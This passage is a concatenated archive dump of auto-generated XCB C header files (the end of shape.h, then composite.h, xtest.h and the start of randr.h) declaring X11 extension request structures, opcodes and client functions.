(xcb_connection_t *c, xcb_shape_kind_t destination_kind, xcb_window_t destination_window, int16_t x_offset, int16_t y_offset); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_shape_offset (xcb_connection_t *c, xcb_shape_kind_t destination_kind, xcb_window_t destination_window, int16_t x_offset, int16_t y_offset); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_shape_query_extents_cookie_t xcb_shape_query_extents (xcb_connection_t *c, xcb_window_t destination_window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_shape_query_extents_cookie_t xcb_shape_query_extents_unchecked (xcb_connection_t *c, xcb_window_t destination_window); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_shape_query_extents_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_shape_query_extents_reply_t * xcb_shape_query_extents_reply (xcb_connection_t *c, xcb_shape_query_extents_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_shape_select_input_checked (xcb_connection_t *c, xcb_window_t destination_window, uint8_t enable); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_shape_select_input (xcb_connection_t *c, xcb_window_t destination_window, uint8_t enable); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_shape_input_selected_cookie_t xcb_shape_input_selected (xcb_connection_t *c, xcb_window_t destination_window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_shape_input_selected_cookie_t xcb_shape_input_selected_unchecked (xcb_connection_t *c, xcb_window_t destination_window); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_shape_input_selected_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_shape_input_selected_reply_t * xcb_shape_input_selected_reply (xcb_connection_t *c, xcb_shape_input_selected_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_shape_get_rectangles_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_shape_get_rectangles_cookie_t xcb_shape_get_rectangles (xcb_connection_t *c, xcb_window_t window, xcb_shape_kind_t source_kind); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_shape_get_rectangles_cookie_t xcb_shape_get_rectangles_unchecked (xcb_connection_t *c, xcb_window_t window, xcb_shape_kind_t source_kind); xcb_rectangle_t * xcb_shape_get_rectangles_rectangles (const xcb_shape_get_rectangles_reply_t *R); int xcb_shape_get_rectangles_rectangles_length (const xcb_shape_get_rectangles_reply_t *R); xcb_rectangle_iterator_t xcb_shape_get_rectangles_rectangles_iterator (const xcb_shape_get_rectangles_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_shape_get_rectangles_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_shape_get_rectangles_reply_t * xcb_shape_get_rectangles_reply (xcb_connection_t *c, xcb_shape_get_rectangles_cookie_t cookie /**< */, xcb_generic_error_t **e); #ifdef __cplusplus } #endif #endif /** * @} */ xcb/composite.h 0000644 00000033053 15246445047 0007512 0 ustar 00 /* * This file generated automatically from composite.xml by c_client.py. * Edit at your peril. */ /** * @defgroup XCB_Composite_API XCB Composite API * @brief Composite XCB Protocol Implementation. * @{ **/ #ifndef __COMPOSITE_H #define __COMPOSITE_H #include "xcb.h" #include "xproto.h" #include "xfixes.h" #ifdef __cplusplus extern "C" { #endif #define XCB_COMPOSITE_MAJOR_VERSION 0 #define XCB_COMPOSITE_MINOR_VERSION 4 extern xcb_extension_t xcb_composite_id; typedef enum xcb_composite_redirect_t { XCB_COMPOSITE_REDIRECT_AUTOMATIC = 0, XCB_COMPOSITE_REDIRECT_MANUAL = 1 } xcb_composite_redirect_t; /** * @brief xcb_composite_query_version_cookie_t **/ typedef struct xcb_composite_query_version_cookie_t { unsigned int sequence; } xcb_composite_query_version_cookie_t; /** Opcode for xcb_composite_query_version. */ #define XCB_COMPOSITE_QUERY_VERSION 0 /** * @brief xcb_composite_query_version_request_t **/ typedef struct xcb_composite_query_version_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t client_major_version; uint32_t client_minor_version; } xcb_composite_query_version_request_t; /** * @brief xcb_composite_query_version_reply_t **/ typedef struct xcb_composite_query_version_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t major_version; uint32_t minor_version; uint8_t pad1[16]; } xcb_composite_query_version_reply_t; /** Opcode for xcb_composite_redirect_window. */ #define XCB_COMPOSITE_REDIRECT_WINDOW 1 /** * @brief xcb_composite_redirect_window_request_t **/ typedef struct xcb_composite_redirect_window_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; uint8_t update; uint8_t pad0[3]; } xcb_composite_redirect_window_request_t; /** Opcode for xcb_composite_redirect_subwindows. */ #define XCB_COMPOSITE_REDIRECT_SUBWINDOWS 2 /** * @brief xcb_composite_redirect_subwindows_request_t **/ typedef struct xcb_composite_redirect_subwindows_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; uint8_t update; uint8_t pad0[3]; } xcb_composite_redirect_subwindows_request_t; /** Opcode for xcb_composite_unredirect_window. */ #define XCB_COMPOSITE_UNREDIRECT_WINDOW 3 /** * @brief xcb_composite_unredirect_window_request_t **/ typedef struct xcb_composite_unredirect_window_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; uint8_t update; uint8_t pad0[3]; } xcb_composite_unredirect_window_request_t; /** Opcode for xcb_composite_unredirect_subwindows. */ #define XCB_COMPOSITE_UNREDIRECT_SUBWINDOWS 4 /** * @brief xcb_composite_unredirect_subwindows_request_t **/ typedef struct xcb_composite_unredirect_subwindows_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; uint8_t update; uint8_t pad0[3]; } xcb_composite_unredirect_subwindows_request_t; /** Opcode for xcb_composite_create_region_from_border_clip. */ #define XCB_COMPOSITE_CREATE_REGION_FROM_BORDER_CLIP 5 /** * @brief xcb_composite_create_region_from_border_clip_request_t **/ typedef struct xcb_composite_create_region_from_border_clip_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_xfixes_region_t region; xcb_window_t window; } xcb_composite_create_region_from_border_clip_request_t; /** Opcode for xcb_composite_name_window_pixmap. */ #define XCB_COMPOSITE_NAME_WINDOW_PIXMAP 6 /** * @brief xcb_composite_name_window_pixmap_request_t **/ typedef struct xcb_composite_name_window_pixmap_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; xcb_pixmap_t pixmap; } xcb_composite_name_window_pixmap_request_t; /** * @brief xcb_composite_get_overlay_window_cookie_t **/ typedef struct xcb_composite_get_overlay_window_cookie_t { unsigned int sequence; } xcb_composite_get_overlay_window_cookie_t; /** Opcode for xcb_composite_get_overlay_window. */ #define XCB_COMPOSITE_GET_OVERLAY_WINDOW 7 /** * @brief xcb_composite_get_overlay_window_request_t **/ typedef struct xcb_composite_get_overlay_window_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_composite_get_overlay_window_request_t; /** * @brief xcb_composite_get_overlay_window_reply_t **/ typedef struct xcb_composite_get_overlay_window_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; xcb_window_t overlay_win; uint8_t pad1[20]; } xcb_composite_get_overlay_window_reply_t; /** Opcode for xcb_composite_release_overlay_window. */ #define XCB_COMPOSITE_RELEASE_OVERLAY_WINDOW 8 /** * @brief xcb_composite_release_overlay_window_request_t **/ typedef struct xcb_composite_release_overlay_window_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_composite_release_overlay_window_request_t; /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_composite_query_version_cookie_t xcb_composite_query_version (xcb_connection_t *c, uint32_t client_major_version, uint32_t client_minor_version); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_composite_query_version_cookie_t xcb_composite_query_version_unchecked (xcb_connection_t *c, uint32_t client_major_version, uint32_t client_minor_version); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_composite_query_version_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_composite_query_version_reply_t * xcb_composite_query_version_reply (xcb_connection_t *c, xcb_composite_query_version_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_composite_redirect_window_checked (xcb_connection_t *c, xcb_window_t window, uint8_t update); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_composite_redirect_window (xcb_connection_t *c, xcb_window_t window, uint8_t update); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_composite_redirect_subwindows_checked (xcb_connection_t *c, xcb_window_t window, uint8_t update); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_composite_redirect_subwindows (xcb_connection_t *c, xcb_window_t window, uint8_t update); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_composite_unredirect_window_checked (xcb_connection_t *c, xcb_window_t window, uint8_t update); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_composite_unredirect_window (xcb_connection_t *c, xcb_window_t window, uint8_t update); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_composite_unredirect_subwindows_checked (xcb_connection_t *c, xcb_window_t window, uint8_t update); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_composite_unredirect_subwindows (xcb_connection_t *c, xcb_window_t window, uint8_t update); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_composite_create_region_from_border_clip_checked (xcb_connection_t *c, xcb_xfixes_region_t region, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_composite_create_region_from_border_clip (xcb_connection_t *c, xcb_xfixes_region_t region, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_composite_name_window_pixmap_checked (xcb_connection_t *c, xcb_window_t window, xcb_pixmap_t pixmap); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_composite_name_window_pixmap (xcb_connection_t *c, xcb_window_t window, xcb_pixmap_t pixmap); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_composite_get_overlay_window_cookie_t xcb_composite_get_overlay_window (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_composite_get_overlay_window_cookie_t xcb_composite_get_overlay_window_unchecked (xcb_connection_t *c, xcb_window_t window); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_composite_get_overlay_window_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_composite_get_overlay_window_reply_t * xcb_composite_get_overlay_window_reply (xcb_connection_t *c, xcb_composite_get_overlay_window_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_composite_release_overlay_window_checked (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_composite_release_overlay_window (xcb_connection_t *c, xcb_window_t window); #ifdef __cplusplus } #endif #endif /** * @} */ xcb/xtest.h 0000644 00000016645 15246445047 0006667 0 ustar 00 /* * This file generated automatically from xtest.xml by c_client.py. * Edit at your peril. */ /** * @defgroup XCB_Test_API XCB Test API * @brief Test XCB Protocol Implementation. * @{ **/ #ifndef __XTEST_H #define __XTEST_H #include "xcb.h" #include "xproto.h" #ifdef __cplusplus extern "C" { #endif #define XCB_TEST_MAJOR_VERSION 2 #define XCB_TEST_MINOR_VERSION 2 extern xcb_extension_t xcb_test_id; /** * @brief xcb_test_get_version_cookie_t **/ typedef struct xcb_test_get_version_cookie_t { unsigned int sequence; } xcb_test_get_version_cookie_t; /** Opcode for xcb_test_get_version. */ #define XCB_TEST_GET_VERSION 0 /** * @brief xcb_test_get_version_request_t **/ typedef struct xcb_test_get_version_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t major_version; uint8_t pad0; uint16_t minor_version; } xcb_test_get_version_request_t; /** * @brief xcb_test_get_version_reply_t **/ typedef struct xcb_test_get_version_reply_t { uint8_t response_type; uint8_t major_version; uint16_t sequence; uint32_t length; uint16_t minor_version; } xcb_test_get_version_reply_t; typedef enum xcb_test_cursor_t { XCB_TEST_CURSOR_NONE = 0, XCB_TEST_CURSOR_CURRENT = 1 } xcb_test_cursor_t; /** * @brief xcb_test_compare_cursor_cookie_t **/ typedef struct xcb_test_compare_cursor_cookie_t { unsigned int sequence; } xcb_test_compare_cursor_cookie_t; /** Opcode for xcb_test_compare_cursor. */ #define XCB_TEST_COMPARE_CURSOR 1 /** * @brief xcb_test_compare_cursor_request_t **/ typedef struct xcb_test_compare_cursor_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; xcb_cursor_t cursor; } xcb_test_compare_cursor_request_t; /** * @brief xcb_test_compare_cursor_reply_t **/ typedef struct xcb_test_compare_cursor_reply_t { uint8_t response_type; uint8_t same; uint16_t sequence; uint32_t length; } xcb_test_compare_cursor_reply_t; /** Opcode for xcb_test_fake_input. */ #define XCB_TEST_FAKE_INPUT 2 /** * @brief xcb_test_fake_input_request_t **/ typedef struct xcb_test_fake_input_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t type; uint8_t detail; uint8_t pad0[2]; uint32_t time; xcb_window_t root; uint8_t pad1[8]; int16_t rootX; int16_t rootY; uint8_t pad2[7]; uint8_t deviceid; } xcb_test_fake_input_request_t; /** Opcode for xcb_test_grab_control. */ #define XCB_TEST_GRAB_CONTROL 3 /** * @brief xcb_test_grab_control_request_t **/ typedef struct xcb_test_grab_control_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t impervious; uint8_t pad0[3]; } xcb_test_grab_control_request_t; /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_test_get_version_cookie_t xcb_test_get_version (xcb_connection_t *c, uint8_t major_version, uint16_t minor_version); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_test_get_version_cookie_t xcb_test_get_version_unchecked (xcb_connection_t *c, uint8_t major_version, uint16_t minor_version); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_test_get_version_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_test_get_version_reply_t * xcb_test_get_version_reply (xcb_connection_t *c, xcb_test_get_version_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_test_compare_cursor_cookie_t xcb_test_compare_cursor (xcb_connection_t *c, xcb_window_t window, xcb_cursor_t cursor); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_test_compare_cursor_cookie_t xcb_test_compare_cursor_unchecked (xcb_connection_t *c, xcb_window_t window, xcb_cursor_t cursor); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_test_compare_cursor_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_test_compare_cursor_reply_t * xcb_test_compare_cursor_reply (xcb_connection_t *c, xcb_test_compare_cursor_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_test_fake_input_checked (xcb_connection_t *c, uint8_t type, uint8_t detail, uint32_t time, xcb_window_t root, int16_t rootX, int16_t rootY, uint8_t deviceid); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_test_fake_input (xcb_connection_t *c, uint8_t type, uint8_t detail, uint32_t time, xcb_window_t root, int16_t rootX, int16_t rootY, uint8_t deviceid); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_test_grab_control_checked (xcb_connection_t *c, uint8_t impervious); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_test_grab_control (xcb_connection_t *c, uint8_t impervious); #ifdef __cplusplus } #endif #endif /** * @} */ xcb/randr.h 0000644 00000420416 15246445047 0006621 0 ustar 00 /* * This file generated automatically from randr.xml by c_client.py. * Edit at your peril. */ /** * @defgroup XCB_RandR_API XCB RandR API * @brief RandR XCB Protocol Implementation. * @{ **/ #ifndef __RANDR_H #define __RANDR_H #include "xcb.h" #include "xproto.h" #include "render.h" #ifdef __cplusplus extern "C" { #endif #define XCB_RANDR_MAJOR_VERSION 1 #define XCB_RANDR_MINOR_VERSION 6 extern xcb_extension_t xcb_randr_id; typedef uint32_t xcb_randr_mode_t; /** * @brief xcb_randr_mode_iterator_t **/ typedef struct xcb_randr_mode_iterator_t { xcb_randr_mode_t *data; int rem; int index; } xcb_randr_mode_iterator_t; typedef uint32_t xcb_randr_crtc_t; /** * @brief xcb_randr_crtc_iterator_t **/ typedef struct xcb_randr_crtc_iterator_t { xcb_randr_crtc_t *data; int rem; int index; } xcb_randr_crtc_iterator_t; typedef uint32_t xcb_randr_output_t; /** * @brief xcb_randr_output_iterator_t **/ typedef struct xcb_randr_output_iterator_t { xcb_randr_output_t *data; int rem; int index; } xcb_randr_output_iterator_t; typedef uint32_t xcb_randr_provider_t; /** * @brief xcb_randr_provider_iterator_t **/ typedef struct xcb_randr_provider_iterator_t { xcb_randr_provider_t *data; int rem; int index; } xcb_randr_provider_iterator_t; typedef uint32_t xcb_randr_lease_t; /** * @brief xcb_randr_lease_iterator_t **/ typedef struct xcb_randr_lease_iterator_t { xcb_randr_lease_t *data; int rem; int index; } xcb_randr_lease_iterator_t; /** Opcode for xcb_randr_bad_output. */ #define XCB_RANDR_BAD_OUTPUT 0 /** * @brief xcb_randr_bad_output_error_t **/ typedef struct xcb_randr_bad_output_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_randr_bad_output_error_t; /** Opcode for xcb_randr_bad_crtc. */ #define XCB_RANDR_BAD_CRTC 1 /** * @brief xcb_randr_bad_crtc_error_t **/ typedef struct xcb_randr_bad_crtc_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_randr_bad_crtc_error_t; /** Opcode for xcb_randr_bad_mode. */ #define XCB_RANDR_BAD_MODE 2 /** * @brief xcb_randr_bad_mode_error_t **/ typedef struct xcb_randr_bad_mode_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_randr_bad_mode_error_t; /** Opcode for xcb_randr_bad_provider. */ #define XCB_RANDR_BAD_PROVIDER 3 /** * @brief xcb_randr_bad_provider_error_t **/ typedef struct xcb_randr_bad_provider_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_randr_bad_provider_error_t; typedef enum xcb_randr_rotation_t { XCB_RANDR_ROTATION_ROTATE_0 = 1, XCB_RANDR_ROTATION_ROTATE_90 = 2, XCB_RANDR_ROTATION_ROTATE_180 = 4, XCB_RANDR_ROTATION_ROTATE_270 = 8, XCB_RANDR_ROTATION_REFLECT_X = 16, XCB_RANDR_ROTATION_REFLECT_Y = 32 } xcb_randr_rotation_t; /** * @brief xcb_randr_screen_size_t **/ typedef struct xcb_randr_screen_size_t { uint16_t width; uint16_t height; uint16_t mwidth; uint16_t mheight; } xcb_randr_screen_size_t; /** * @brief xcb_randr_screen_size_iterator_t **/ typedef struct xcb_randr_screen_size_iterator_t { xcb_randr_screen_size_t *data; int rem; int index; } xcb_randr_screen_size_iterator_t; /** * @brief xcb_randr_refresh_rates_t **/ typedef struct xcb_randr_refresh_rates_t { uint16_t nRates; } xcb_randr_refresh_rates_t; /** * @brief xcb_randr_refresh_rates_iterator_t **/ typedef struct xcb_randr_refresh_rates_iterator_t { xcb_randr_refresh_rates_t *data; int rem; int index; } xcb_randr_refresh_rates_iterator_t; /** * @brief xcb_randr_query_version_cookie_t **/ typedef struct xcb_randr_query_version_cookie_t { unsigned int sequence; } xcb_randr_query_version_cookie_t; /** Opcode for xcb_randr_query_version. */ #define XCB_RANDR_QUERY_VERSION 0 /** * @brief xcb_randr_query_version_request_t **/ typedef struct xcb_randr_query_version_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t major_version; uint32_t minor_version; } xcb_randr_query_version_request_t; /** * @brief xcb_randr_query_version_reply_t **/ typedef struct xcb_randr_query_version_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t major_version; uint32_t minor_version; uint8_t pad1[16]; } xcb_randr_query_version_reply_t; typedef enum xcb_randr_set_config_t { XCB_RANDR_SET_CONFIG_SUCCESS = 0, XCB_RANDR_SET_CONFIG_INVALID_CONFIG_TIME = 1, XCB_RANDR_SET_CONFIG_INVALID_TIME = 2, XCB_RANDR_SET_CONFIG_FAILED = 3 } xcb_randr_set_config_t; /** * @brief xcb_randr_set_screen_config_cookie_t **/ typedef struct xcb_randr_set_screen_config_cookie_t { unsigned int sequence; } xcb_randr_set_screen_config_cookie_t; /** Opcode for xcb_randr_set_screen_config. */ #define XCB_RANDR_SET_SCREEN_CONFIG 2 /** * @brief xcb_randr_set_screen_config_request_t **/ typedef struct xcb_randr_set_screen_config_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; xcb_timestamp_t timestamp; xcb_timestamp_t config_timestamp; uint16_t sizeID; uint16_t rotation; uint16_t rate; uint8_t pad0[2]; } xcb_randr_set_screen_config_request_t; /** * @brief xcb_randr_set_screen_config_reply_t **/ typedef struct xcb_randr_set_screen_config_reply_t { uint8_t response_type; uint8_t status; uint16_t sequence; uint32_t length; xcb_timestamp_t new_timestamp; xcb_timestamp_t config_timestamp; xcb_window_t root; uint16_t subpixel_order; uint8_t pad0[10]; } xcb_randr_set_screen_config_reply_t; typedef enum xcb_randr_notify_mask_t { XCB_RANDR_NOTIFY_MASK_SCREEN_CHANGE = 1, XCB_RANDR_NOTIFY_MASK_CRTC_CHANGE = 2, XCB_RANDR_NOTIFY_MASK_OUTPUT_CHANGE = 4, XCB_RANDR_NOTIFY_MASK_OUTPUT_PROPERTY = 8, XCB_RANDR_NOTIFY_MASK_PROVIDER_CHANGE = 16, XCB_RANDR_NOTIFY_MASK_PROVIDER_PROPERTY = 32, XCB_RANDR_NOTIFY_MASK_RESOURCE_CHANGE = 64, XCB_RANDR_NOTIFY_MASK_LEASE = 128 } xcb_randr_notify_mask_t; /** Opcode for xcb_randr_select_input. */ #define XCB_RANDR_SELECT_INPUT 4 /** * @brief xcb_randr_select_input_request_t **/ typedef struct xcb_randr_select_input_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; uint16_t enable; uint8_t pad0[2]; } xcb_randr_select_input_request_t; /** * @brief xcb_randr_get_screen_info_cookie_t **/ typedef struct xcb_randr_get_screen_info_cookie_t { unsigned int sequence; } xcb_randr_get_screen_info_cookie_t; /** Opcode for xcb_randr_get_screen_info. */ #define XCB_RANDR_GET_SCREEN_INFO 5 /** * @brief xcb_randr_get_screen_info_request_t **/ typedef struct xcb_randr_get_screen_info_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_randr_get_screen_info_request_t; /** * @brief xcb_randr_get_screen_info_reply_t **/ typedef struct xcb_randr_get_screen_info_reply_t { uint8_t response_type; uint8_t rotations; uint16_t sequence; uint32_t length; xcb_window_t root; xcb_timestamp_t timestamp; xcb_timestamp_t config_timestamp; uint16_t nSizes; uint16_t sizeID; uint16_t rotation; uint16_t rate; uint16_t nInfo; uint8_t pad0[2]; } xcb_randr_get_screen_info_reply_t; /** * @brief xcb_randr_get_screen_size_range_cookie_t **/ typedef struct xcb_randr_get_screen_size_range_cookie_t { unsigned int sequence; } xcb_randr_get_screen_size_range_cookie_t; /** Opcode for xcb_randr_get_screen_size_range. */ #define XCB_RANDR_GET_SCREEN_SIZE_RANGE 6 /** * @brief xcb_randr_get_screen_size_range_request_t **/ typedef struct xcb_randr_get_screen_size_range_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_randr_get_screen_size_range_request_t; /** * @brief xcb_randr_get_screen_size_range_reply_t **/ typedef struct xcb_randr_get_screen_size_range_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t min_width; uint16_t min_height; uint16_t max_width; uint16_t max_height; uint8_t pad1[16]; } xcb_randr_get_screen_size_range_reply_t; /** Opcode for xcb_randr_set_screen_size. */ #define XCB_RANDR_SET_SCREEN_SIZE 7 /** * @brief xcb_randr_set_screen_size_request_t **/ typedef struct xcb_randr_set_screen_size_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; uint16_t width; uint16_t height; uint32_t mm_width; uint32_t mm_height; } xcb_randr_set_screen_size_request_t; typedef enum xcb_randr_mode_flag_t { XCB_RANDR_MODE_FLAG_HSYNC_POSITIVE = 1, XCB_RANDR_MODE_FLAG_HSYNC_NEGATIVE = 2, XCB_RANDR_MODE_FLAG_VSYNC_POSITIVE = 4, XCB_RANDR_MODE_FLAG_VSYNC_NEGATIVE = 8, XCB_RANDR_MODE_FLAG_INTERLACE = 16, XCB_RANDR_MODE_FLAG_DOUBLE_SCAN = 32, XCB_RANDR_MODE_FLAG_CSYNC = 64, XCB_RANDR_MODE_FLAG_CSYNC_POSITIVE = 128, XCB_RANDR_MODE_FLAG_CSYNC_NEGATIVE = 256, XCB_RANDR_MODE_FLAG_HSKEW_PRESENT = 512, XCB_RANDR_MODE_FLAG_BCAST = 1024, XCB_RANDR_MODE_FLAG_PIXEL_MULTIPLEX = 2048, XCB_RANDR_MODE_FLAG_DOUBLE_CLOCK = 4096, XCB_RANDR_MODE_FLAG_HALVE_CLOCK = 8192 } xcb_randr_mode_flag_t; /** * @brief xcb_randr_mode_info_t **/ typedef struct xcb_randr_mode_info_t { uint32_t id; uint16_t width; uint16_t height; uint32_t dot_clock; uint16_t hsync_start; uint16_t hsync_end; uint16_t htotal; uint16_t hskew; uint16_t vsync_start; uint16_t vsync_end; uint16_t vtotal; uint16_t name_len; uint32_t mode_flags; } xcb_randr_mode_info_t; /** * @brief xcb_randr_mode_info_iterator_t **/ typedef struct xcb_randr_mode_info_iterator_t { xcb_randr_mode_info_t *data; int rem; int index; } xcb_randr_mode_info_iterator_t; /** * @brief xcb_randr_get_screen_resources_cookie_t **/ typedef struct xcb_randr_get_screen_resources_cookie_t { unsigned int sequence; } xcb_randr_get_screen_resources_cookie_t; /** Opcode for xcb_randr_get_screen_resources. */ #define XCB_RANDR_GET_SCREEN_RESOURCES 8 /** * @brief xcb_randr_get_screen_resources_request_t **/ typedef struct xcb_randr_get_screen_resources_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_randr_get_screen_resources_request_t; /** * @brief xcb_randr_get_screen_resources_reply_t **/ typedef struct 